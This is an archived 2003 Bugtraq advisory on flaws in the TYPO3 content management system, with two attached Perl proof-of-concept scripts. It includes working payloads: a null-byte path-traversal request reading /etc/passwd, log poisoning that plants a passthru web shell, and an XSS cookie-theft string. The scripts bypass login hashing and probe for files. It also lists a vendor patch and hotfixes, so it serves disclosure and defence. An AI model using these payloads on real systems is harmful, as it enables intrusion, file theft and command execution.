92200 2003-02-28 18:49 /221 rader/ Martin Eiszner <martin@websec.org> Importerad: 2003-02-28 18:49 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <3729> Ärende: typo3 issues ------------------------------------------------------------ hola, ... 2002@WebSec.org/Martin Eiszner ===================== Security REPORT TYPO3 ===================== this document: http://www.websec.org/adv/typo3.html Product: Typo3 (Version 3.5b5 / Earlier versions are possibly vulnerable too) Vendor: Typo3 (http://www.typo3.com) Vendor-Status: kasper@typo3.com informed / new version OUT Vendor-Patch: http://typo3.org/1331.0.html Local: NO Remote: YES Vulnerabilities: -path-disclosure -proof of file-existense -arbitrary file retrieval -arbitrary command execution -CrossSiteScripting / privilege escalation / cookie-theft -install/config files and scripts within webroot Severity: MEDIUM to HIGH Tested Plattforms: Linux / Slackware i686 / Apache 1.3.23 / PHP 4.1.2 ============ Introduction ============ Taken from http://www.typo3.com TYPO3 is a free Open Source content management system for enterprise purposes on the web and in intranets. It offers full flexibility and extendability while featuring an accomplished set of ready-made interfaces, functions and modules. ===================== Vulnerability Details ===================== 0) CLIENT-SIDE DATA-OBFUSCATION form-fields are obfuscated using client-side java-script routines. after the fields are joined a java-script creates MD5-hashes and submits the form. examples: index.php (account-data), showpic.php(name-checksum) attached perl-scripts (typo.pl/showpic.pl) demonstrate how to circumvent this protection. 1) PATH-DISCLOSURE several test-, class- and library-scripts can be found within webroot. some of them can be forced to produce runtime errors and output their physical path. example: /fileadmin/include_test.php 2) PROOF OF FILE-EXISTENCE "showpic.php" and "thumbs.php" allow an attacker to check the existense of arbitrary files. combined with file-enumeration methods it is possible to reconstruct parts of the directory- and filesystem - structure. example on howto check for existing files with attached perl-script "showpic.pl": ---*--- sh> showpic.pl localhost '../../../../../../../../../../etc/hosts' ../../../../../../../../../../etc/hosts exists ---*--- 3) CROSS SITE SCRIPTING / COOKIE-THEFT all system and login-errors are saved in the typo3-database. administrators can view all the erroneous data. since this data is not being checked for XSS-content it is possible to include client-side script(java-script)-tags in these entries. every time the admins view their logs these scripts will be run on the admins web-browser which leads to a typical XSS-bug. thus making it possible to steal the admins-cookies or let him open a new user-account without his knowledge. example with the attached "typo.pl" - perlscript: ---*--- sh> typo.pl localhost '><script>alert(document.cookie)</script><:aaa' ---*--- viewing the logfiles will execute the script. 4) ARBITRARY FILE-RETRIEVAL the "dev/translations.php" - script does not check the ONLY-parameter for malicious values. a relative path combined with a Nullbyte lead to the inclusion of the given file. example http-request: ---*--- GET http://host/dev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%00 ---*--- 5) ARBITRARY COMMAND EXECUTION extends vulnerability number 4): if the included file contains php-source code it will be executed. thus allowing an attacker to execute operating-system commands and at long sight escalate his privileges. example: ---*--- a file for placing our malicious php-source is needed. if there is no file we have write-access we still can use the websevers-logfiles. the following http-request: ---cut--- http://localhost/<%3f %60echo %27<%3fpassthru(%5c%24c)%3f>%27 >> ./x.php%60 %3f> ---cut--- creates this entry: ---cut--- [Tue Jan 14 19:42:53 2003] [error] [client 127.0.0.1] File does not exist: /apachepath/apache/htdocs/<? `echo '<?passthru(\$c )?>' >> ./x.php` ?> ---cut--- in a typicall apache - error_log file. using the method discussed under 4) the following http-request: ---cut--- http://localhost/typo3/typo3/dev/translations.php?ONLY=relative_apache_path/apache/logs/error_log%00' ---cut--- will include the apach error_log in our output and execute our php-commands. as a result we will find x.php in our "/dev" directory. x.php: ---cut--- <?passthru($c)?> ---cut--- ---*--- 6) SCRIPTS AND DIRECTORIES IN WEBROOT a couple of scripts, libraries, files and directories can be found within typo3s webroot. "/install" is improper protected and vulnerable to brute-force attacks. "/fileadmin" directory reveals log-files and demo-scripts "/typo3conf" directory contains the localconf.php,database.sql and other sensitive files ======= Remarks ======= the serious vulnerabilities rely on the "/dev" (developer?) - directory. scripts within this directory can be found in many/most production-environments! ==================== Recommended Hotfixes ==================== overall) install the new Version ! or 1) remove "/install" directory 2) remove "/dev" directory 3) Choose strong administrator-passwords 4) showpic.php and thumbs.php must be patched. 5) remove all demo-directories and protect "/fileadmin" and "/typo3conf" EOF Martin Eiszner / @2002WebSec.org ======= Contact ======= -- WebSec.org / Martin Eiszner Gurkgasse 49/Top14 1140 Vienna Austria / EUROPE mei@websec.org http://www.websec.org tel: 0043 699 121772 37 (92200) /Martin Eiszner <martin@websec.org>/(Ombruten) Bilaga (application/octet-stream) i text 92201 Bilaga (application/octet-stream) i text 92202 92201 2003-02-28 18:49 /48 rader/ Martin Eiszner <martin@websec.org> Bilagans filnamn: "typo.pl" Importerad: 2003-02-28 18:49 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <3730> Bilaga (text/plain) till text 92200 Ärende: Bilaga (typo.pl) till: typo3 issues ------------------------------------------------------------ #!/usr/bin/perl use strict; use Getopt::Std; use LWP::UserAgent; use HTTP::Request; use HTTP::Response; use HTTP::Headers; use HTML::Form; use Digest::MD5 qw(md5_hex); my ($thehost,$account) = @ARGV; my ($uid,$pwd) = split(/:/,$account,2); my $pass = $pwd; print "\nchecking $thehost | $uid | $pwd\n"; $pwd = md5_hex("$pwd"); my $content = ""; my $userident = ""; my $hds = HTTP::Headers->new; my $ua = new LWP::UserAgent(); push @{ $ua->requests_redirectable }, 'POST'; $ua->agent("Opera 6.0"); my $uri = "http://".$thehost."/typo3/typo3/index.php"; my $req = HTTP::Request->new("GET", $uri, $hds, $content); my $res = $ua->request($req); my $res_heads = $res->headers; my $cookie = $res_heads->header("Set-Cookie"); my $form = HTML::Form->parse($res->content, "$uri"); my $challenge = $form->value("challenge"); $userident = md5_hex("$uid:$pwd:$challenge"); $hds->header('Cookie' => "$cookie"); $hds->header('Content-Type' => "application/x-www-form-urlencoded"); $content = "username=$uid&p_field=&userident=$userident&challenge=$challenge&redirect_url=alt_main.php"; $content .= "&loginRefresh=&login_status=login&interface=alternative"; my $req = HTTP::Request->new("POST", $uri, $hds, $content); my $res = $ua->request($req); $res_heads = $res->headers; $cookie = $res_heads->header("Set-Cookie"); print "\nRescode:".$res->code()."\n".$res_heads->as_string()."\n\n"; #print "\n".$res_heads->as_string()."\n\n".$res->content()."\n\n"; (92201) /Martin Eiszner <martin@websec.org>/(Ombruten) 92202 2003-02-28 18:49 /14 rader/ Martin Eiszner <martin@websec.org> Bilagans filnamn: "showpic.pl" Importerad: 2003-02-28 18:49 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <3731> Bilaga (text/plain) till text 92200 Ärende: Bilaga (showpic.pl) till: typo3 issues ------------------------------------------------------------ #!/usr/bin/perl use LWP::UserAgent; use HTTP::Request; use HTTP::Response; use Digest::MD5 qw(md5_hex); ($ho,$fi) = @ARGV; $md5 = md5_hex("$fi||||"); $ua = new LWP::UserAgent(); $ua->agent("Opera 6.0"); $uri = "http://".$ho."/typo3/showpic.php?file=$fi&md5=$md5"; $req = HTTP::Request->new("GET",$uri); $res = $ua->request($req); if ($res->content !~ /was not found/ && $res->content !~ /No valid/) {print "\n$fi exists\n";} else {print "\n$fi not found\n";} (92202) /Martin Eiszner <martin@websec.org>/--------